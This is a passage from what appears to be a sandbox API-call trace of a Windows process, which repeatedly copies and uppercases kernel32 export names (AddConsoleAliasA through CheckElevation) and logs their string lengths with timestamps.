returned 8 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0083.262] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0083.262] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0083.262] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0083.262] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0083.262] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0083.262] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0083.262] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0083.262] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0083.262] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0083.262] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0083.263] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0083.263] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0083.263] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0083.263] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0083.263] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0083.263] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0083.263] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0083.263] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0083.263] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0083.263] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0083.263] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0083.263] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0083.263] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0083.263] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0083.263] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0083.263] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0083.263] lstrcpyA (in: lpString1=0x21fe428, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0083.264] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0083.264] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0083.264] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0083.264] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0083.264] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0083.264] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0083.264] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0083.264] lstrlenA (lpString="BACKUPREAD") returned 10 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0083.264] lstrlenA (lpString="BACKUPSEEK") returned 10 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0083.264] lstrlenA (lpString="BACKUPWRITE") returned 11 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0083.264] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0083.264] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0083.264] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0083.264] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0083.264] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0083.264] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0083.264] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0083.264] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0083.265] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0083.265] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0083.265] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0083.265] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0083.265] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0083.265] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0083.265] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0083.265] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0083.265] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0083.265] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0083.265] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0083.265] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0083.265] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0083.265] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0083.265] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0083.313] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0083.314] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0083.314] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0083.314] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0083.314] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0083.314] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0083.314] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0083.314] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0083.314] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0083.314] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0083.314] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0083.314] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0083.314] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0083.314] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0083.314] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0083.314] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0083.314] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0083.314] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0083.314] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0083.315] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0083.315] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0083.315] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0083.315] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0083.315] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0083.315] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0083.315] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0083.315] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0083.315] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0083.315] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0083.315] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0083.315] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0083.315] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0083.315] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0083.315] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0083.315] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0083.315] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0083.316] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0083.316] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0083.316] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0083.316] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0083.316] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0083.316] lstrlenA (lpString="BEEP") returned 4 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0083.316] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0083.316] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0083.316] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0083.316] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0083.316] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0083.316] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0083.316] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0083.316] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0083.316] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0083.316] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0083.316] lstrcpyA (in: lpString1=0x21fe428, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0083.317] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0083.317] lstrlenA (lpString="CANCELIO") returned 8 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0083.317] lstrlenA (lpString="CANCELIOEX") returned 10 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0083.317] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0083.317] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0083.317] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0083.317] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0083.317] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0083.317] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0083.317] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0083.317] lstrlenA (lpString="CHECKELEVATION") returned 14 [0083.317] lstrcpyA (in: 